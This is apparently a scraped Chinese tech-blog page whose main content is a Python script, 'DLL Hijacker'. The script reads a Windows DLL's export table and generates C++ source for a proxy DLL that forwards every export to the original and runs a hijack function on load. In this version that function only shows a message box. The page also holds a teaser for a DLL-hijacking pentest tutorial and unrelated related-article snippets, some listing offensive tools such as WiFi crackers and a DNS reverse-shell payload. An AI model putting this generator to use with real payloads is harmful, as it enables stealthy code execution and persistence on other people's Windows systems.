python dllhijacker

科普_DLL劫持原理与实践 0x00 前言 DLL劫持算是一个老的漏洞,而且乌云漏洞库中也有很多的案例,只不过案例更多的只是验证一下,并没有教如何利用。至于为什么专门抓起来再学一遍了,唉,内网渗透需要 0x01 什么是DLL 这里先摘抄一下百度百科的解释: DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可... 阅读详情
#_*_coding:utf-8 _*_ 
# Dll Hijacker

import os,sys,time
import pefile


def main():
    try:
        pe = pefile.PE(sys.argv[1])
        exportTable = pe.DIRECTORY_ENTRY_EXPORT.symbols
        print("[!]Find export function :[ %d ]\r\n" % len(exportTable))
        for exptab in exportTable:
            print("%3s %10s" % (exptab.ordinal, str(exptab.name, encoding = "utf-8")))
        print("\r\n[+] generating DLL Hijack cpp file ...")
        
        generate(exportTable)
        
        print("\r\n[+] generating DLL Hijack cpp file has finished!")

    except Exception as e:
        print(e)

def generate(exportTable):
    segments = r"//Generate by DLLHijacker.py\
\
#include <Windows.h>\
\
DEFINE_DLL_EXPORT_FUNC\
#define EXTERNC extern \"C\"\
#define NAKED __declspec(naked)\
#define EXPORT __declspec(dllexport)\
#define ALCPP EXPORT NAKED\
#define ALSTD EXTERNC EXPORT NAKED void __stdcall\
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall\
#define ALCDECL EXTERNC NAKED void __cdecl\
\
namespace DLLHijacker\
{\
    HMODULE m_hModule = NULL;\
    DWORD m_dwReturn[17] = {0};\
    inline BOOL WINAPI Load()\
    {\
        TCHAR tzPath[MAX_PATH];\
        lstrcpy(tzPath, TEXT(\"DLL_FILENAME.dll\"));\
        m_hModule = LoadLibrary(tzPath);\
        if (m_hModule == NULL)\
            return FALSE;\
        return (m_hModule != NULL);\
    }\
    inline VOID WINAPI Free()\
    {\
        if (m_hModule)\
            FreeLibrary(m_hModule);\
    }\
    FARPROC WINAPI GetAddress(PCSTR pszProcName)\
    {\
        FARPROC fpAddress;\
        CHAR szProcName[16];\
        fpAddress = GetProcAddress(m_hModule, pszProcName);\
        if (fpAddress == NULL)\
        {\
            if (HIWORD(pszProcName) == 0)\
            {\
                wsprintfA(szProcName, \"%p\", pszProcName);\
                pszProcName = szProcName;\
            }\
            ExitProcess(-2);\
        }\
        return fpAddress;\
    }\
}\
using namespace DLLHijacker;\
VOID Hijack()\
{\
    MessageBoxW(NULL, L\"DLL Hijack! by DLLHijacker\", L\":)\", 0);\
}\
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\
{\
    if (dwReason == DLL_PROCESS_ATTACH)\
    {\
        DisableThreadLibraryCalls(hModule);\
        if(Load())\
            Hijack();\
    }\
    else if (dwReason == DLL_PROCESS_DETACH)\
    {\
        Free();\
    }\
    return TRUE;\
}\
"
    name = sys.argv[1]
    try:
    	name.rindex('\\')
    except:
    	filename = name[0: name.rindex('.')]
    else:
        filename = name[name.rindex('\\') + 1: name.rindex('.')]
    fp = open(filename + ".cpp", "w+")
    define_dll_exp_func = ""
    for exptable in exportTable:
        name = str(exptable.name, encoding = "utf-8")
        define_dll_exp_func += r"#pragma comment(linker, \"/EXPORT:" + name +\
                            "=_DLLHijacker_" + name + ",@"+ name +"\")\n"
    segments = segments.replace('DLL_FILENAME', filename)
    segments = segments.replace("DEFINE_DLL_EXPORT_FUNC", define_dll_exp_func).replace('\\','')
    fp.writelines(segments)
    
    forward_dll_exp_func = ""
    for exptable in exportTable:
        name = str(exptable.name, encoding = "utf-8")
        forward_dll_exp_func += "ALCDECL DLLHijacker_"+ name +"(void)\n{" + \
                            "\n        __asm POP m_dwReturn[0 * TYPE long];\n    GetAddress(\""+ \
                            name + "\")();\n    __asm JMP m_dwReturn[0 * TYPE long];\n}\r\n"
    fp.writelines(forward_dll_exp_func)
    fp.close()

def usage():
    print("Usage:")
    print("    %s c:\\windows\\system32\\msimg32.dll" % sys.argv[0])

if __name__ == "__main__":
    if(len(sys.argv) <2):
        usage()
    else:
        main()
Hijacker-release-v1.5-beta.6.apk Hijacker 是一个安卓平台下的无线渗透工具。它的功能非常强大,几乎集成了 aircrack-ng 套件,mdk3 和 reaver 这些工具的功能。而且采用图形化用户界面,相比命令行界面,使用起来也更加的方便简单!想要成功运行Hij ... 立即下载

相关推荐

STM32F103单片机驱动TM1637数码管显示模块

最近项目中需要用到数码管显示,于是买了一个TM1637芯片驱动的四位数码显示模块,现将调试过程记录一下,方便以后参考。 使用的单片机是STM32F103C8T6最小系统 使用的数码管模块是TM1637四位数码管显示模块 实际运行效果 下面先看一下TM1637和数码管连接的具体线路图 实际使用的模块没有带按键,只用了4个数码管,模块和单片机连接只需要4根线VCC、GND、CLK、DIO。芯片和单片机通信使用的是I2C总线,下面就来说一下如何...

HXYDJ的博客 1万+

探索DLLHijacker:一款创新的动态链接库劫持工具

探索DLLHijacker:一款创新的动态链接库劫持工具 项目简介 在编程世界中, 是一个独特的开源项目,它提供了一种技术手段,允许开发者对动态链接库(DLL)的加载过程进行控制和调试。该项目由kiwings 创建并维护,旨在帮助程序员深入理解Windows操作系统中的DLL注入机制,并为安全研究人员或逆向工程师提供便利。 技术分析 DLLHijacker的核心功能是利用Windows API钩子...

gitblog_00081的博客 717

解读文献(五)------基于阻抗控制

文章目录背景主动柔顺控制阻抗控制基于力的阻抗控制基于位置的阻抗控制力位混合控制 背景 主动柔顺控制 阻抗控制 基于力的阻抗控制 基于位置的阻抗控制 力位混合控制 ...

accumulation 1万+

Dll Hijacker

#coding=utf-8 # # Dll Hijacker # # platform: Python 2.x @ Windows # # author:Coca1ne import os,sys,time import pefile def main(): try: pe = pefile.PE(sys.argv[1]) ...

weixin_30652897的博客 296

闲人闲谈PS之十二——WBS-BOM在装备制造项目中的实战解析

本文深入解析了WBS-BOM在装备制造项目中的核心应用。针对按订单设计/生产的行业痛点,WBS-BOM作为项目专属物料清单,完美连接SAP PS与PP模块,确保MRP能基于项目进行精准物料需求计算,实现从设计到生产的全链路项目化跟踪与管理。

weixin_29284885的博客 399

SAP中错记虚拟利润中心的调整,冲销处理实例

我非CO专业顾问。工作中遇到的问题,也会找资料,分析,测试。有时这个过程会拿到结果,解决问题。遂将过程记录下来备查。读者请谨慎参考!EC-PCA: 利润中心记账流程_9ke0-优快云博客。

专注SAP应用技术文章写作,致力于拉近用户与系统间的距离; 1795

DLL Hijacker 开源项目指南

DLL Hijacker 开源项目指南 项目概述 DLL Hijacker 是一个专注于DLL劫持技术的开源工具或框架,尽管原项目详情没有在提供的信息中完全展现,但基于一般开源项目的结构和命名惯例,我们可以构建一个假设性的教程来解释其可能的组成部分和基本使用流程。请注意,以下内容是基于常规实践的推断,实际情况请参考项目的实际README文件或仓库说明。 1. 项目目录结构及介绍 想象中的DLLHi...

gitblog_01048的博客 553

FreeRTOS-Plus-CLI使用笔记

FreeRTOS-Plus-CLI使用笔记 一、简介 详细介绍可参考FreeRTOS-Plus-CLI官网地址入口 FreeRTOS+CLI(Command Line Interface, 命令行接口)提供了一种简单、小型、可扩展且RAM高效的方法,使FreeRTOS应用程序能够处理命令行输入。添加一条指令的步骤如下: 提供一个实现命令功能的函数 将命令映射到该功能函数 注册命令 运行命令解释器 命令行调试接口对于排查分析出现的问题提供了很好的接口,可以通过查看传感器信息判断传感器是否正常,可以查看内置

ApexYuan 6962

Google APIs Client Library for Java在Android平台的应用:从配置到实战

Google APIs Client Library for Java是一款功能强大的工具,能帮助Android开发者轻松集成各种Google服务。本文将为你提供从基础配置到实战应用的完整指南,让你快速掌握在Android应用中使用Google APIs的核心技能。 ## 为什么选择Google APIs Client Library for Java? 对于Android开发者而言,接入Go

gitblog_00090的博客 548

OpenFeign整合Sentinel实现熔断降级

常用于实现熔断降级的框架有Hystrix、Sentinel,我们常说的Spring Cloud项目说的其实是Spring Cloud Netflix,Hystrix以及前面学习过的Ribbon都是Netflix系的家族成员,所以使用Hystrix可以非常简单的与当前项目中使用到的OpenFeign、Ribbon整合,但笔者并没有选择Hystrix,而是选择阿里系的Sentinel。 为什么选择Sentinel而不是Hystrix?从接入简单考虑可能选择Hystrix是不错的选择,但笔者对Hyst...

吴就业 6718

【OD统一考试(B卷)】比赛的冠亚季军,Python 解答

比赛的规则是 0 号和 1 号比赛,2 号和 3 号比赛,以此类推,每一轮,相邻的运动员进行比赛,获胜的进入下一轮,实力值大的获胜,实力值相等的情况,id 小的情况下获胜,轮空的直接进入下一轮。第一轮比赛,id 为 0 实力值为 2 的运动员和 id 为 1 实力值为 3 的运动员比赛, 1 号胜出进入下一轮争夺冠亚军,id 为 2 的运动员和 id 为 3 的运动员比赛,3 号胜出进入下一轮争夺冠亚军;2 号与 0 号,比赛进行季军的争夺,2 号实力值为 4,0 号实力值 2,故 2 号胜出,得季军。

梦想橡皮擦,专栏100例写作模式先行者,现象级专栏 《Python 爬虫 100 例》作者、《滚雪球学 Python 专栏》原创者 1万+

推荐文章:探索DLL劫持的艺术 —— DLLHijacker开源项目

推荐文章:探索DLL劫持的艺术 —— DLLHijacker开源项目 项目介绍 DLLHijacker是一款专为逆向工程和安全研究人员设计的开源工具,由一位热心的安全领域贡献者开发。通过阅读其作者的个人博客,我们得以窥见这一小巧而强大的工具背后的思考与实践。它简化了DLL劫持过程中的繁琐步骤,让开发者和研究者能够迅速创建用于功能转发的DLL劫持源文件。借助DLLHijacker,即便是对底层技术...

gitblog_00448的博客 430

华为od 面试八股文_测试/测试开发_02_含答案

华为od 面试八股文_测试/测试开发_02_含答案

MISAYAONE的博客 2159

从内网渗透来理解dll劫持的工具

dll劫持 以前学过 但是并没有注意过 但是这一天在web手的启发下 发现 dll劫持在内网渗透里面的权限维持使用率还是挺高的,, 看来不能小看老技术啊== = 一开始我的想法是 修改exe 然后直接替换exe = = dll 查找的顺序就不说了 这里就了解到三个工具 以及他们的思路 发现学习了不少 第一个是 rattler 这个 是一个查找能利用的dll 主要的...

qq_41071646的博客 769

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

2018年国内外最流行的二十款安全工具

新年了,是时候扩充你的兵器库! 1、EagleEye​ EagleEye 可以帮你通过一个名字或者至少一张照片找到 Facebook 上面的个人账号,技术上采用了谷歌搜索、ImageRaider Reverse 图像搜索。同时还会在 Instagram 等其他社交媒体平台上找到相同人的账号。最终,你会得到一个 PDF 报告。 下载:https://github.com/ThoughtfulDev/...

Jo_kong的博客 2855

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

你知道的黑客工具都有哪些(推荐网络黑客的20种工具)

有效负载是在调用服务器脚本时生成的,它仅利用 nslookup 来执行查询并向服务器查询新命令,然后服务器在端口 53 上侦听传入的通信,一旦在目标计算机上执行了有效负载,服务器就会生成一个交互式外壳。建立通道后,如果输入了新命令,则有效负载将连续向服务器查询命令,它将执行该命令并将结果返回给服务器。

yy1715713348的博客 1715

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

黑客常用的20款黑客工具(附下载安装教程)_hijacker v1.5下载

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

wananxuexihu的博客 1795

脚本小子最爱的20款黑客工具

在过去的一年里,你都用了哪些黑客工具呢?

QIANDXX的博客 7361

今天终于发布PDMtoGUI V1.5稳定版

PDMtoGUI是Delphi IDE数据字典向导,用于将PowerDesigner数据字典文件PDM,导出到GUI界面设计中,并按PDM中的数据设计设置控件的属性,并进行自动排版。它是软件工程设计到编码、GUI设计的一个衔接,可极大的降低开发人员的重复劳动,提高效率降低失误。注:PDM文件必须是XML格式的!已知对PowerDesigner PDM文件的支持为V9-V12版,因手头无更高版本

king_xing的专栏 1438

2025版最新最受欢迎的20款黑客工具大全,零基础入门到精通,收藏这一篇就够了

适用于 Android 的多合一 WiFi 破解工具。适用于 Android 5+ 的 Aircrack,Airodump,Aireplay,MDK3 和 Reaver GUI 应用程序。(需要 root)特征查看附近 wifi 及设备列表获取接入点信息取消他人的连接捕获数据包等等。

leah126的博客 5465

20个免费的黑客软件下载(附下载安装教程)零基础入门到精通,看这一篇就够了_weback软件下载

今天,统计了全球各大网站数据(浏览量、下载量、使用量等等),最受欢迎的 20 款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等。取前 20 款列出,排名不分先后!

wananxuexihu的博客 6548

分享 2022 年最受欢迎的黑科技工具(一)

Hello, everybody ,2022 年最受欢迎的黑科技工具(一),收藏一波吧,您的在看、转发、点赞就是对tuonioooo最大的支持!

tuonioooo 812

dll 源码_偷偷学习DLL劫持

文章主要是用来记录学习觉得low啊简单啊的话也不许笑话不然嘴给你们撕烂嘤嘤嘤Q达不溜Q首先是dll劫持的原理ღゝ◡╹)ノ♡就是攻击者能够利用Windows加载DLL的规则将需要劫持程序目录下的合法DLL替换成恶意DLL1.使用DLL_Hijacker.py来生成CPP源码(要注意路径要使用dll文件所在的路径哦):DLL_Hijacker.py "D:\Program Files(x8...

weixin_39683526的博客 1806

20个免费的黑客软件下载(附下载安装教程)零基础入门到精通,看这一篇就够了

本文整理了全球20款最受欢迎的黑客工具,涵盖信息收集、Android工具、网络钓鱼等领域。主要包括:Hijacker(WiFi破解)、Findomain(快速子域名枚举)、EagleEye(社交账号追踪)、ANDRAX(移动端渗透平台)、CQTools(Windows黑客工具包)、Sampler(Shell命令可视化)、LOIC(网络压力测试)、EasySploit(Metasploit自动化)、SQLMap(SQL注入)、ScanQLi(SQL注入扫描)等工具。这些工具功能强大,适用于不同场景的网络安全测

2402_84205067的博客 2303

2018年最受信息安全专业人士欢迎的20款黑客工具

最近,Kitploit网站为我们总结了在2018年最受欢迎的20款黑客工具,基于在2018年3月到12月期间的下载数据。 对于从事信息安全工作的专业人士来说,使用与攻击者武器库中相同的工具,能够先于攻击者发现系统中存在的漏洞,并在这些漏洞遭到利用之前完成补丁开发工作。 这些工具被分类为开源智能(OSINT)、信息收集、Android黑客工具、自动化工具、网络钓鱼等。因此,我们在这里不会对它们进行详...

Mr. 亮先生的博客 1691
上一篇: 网关流量截取
下一篇: 坦克世界多开源码
「已注销」
博客等级 码龄14年 71粉丝 92原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值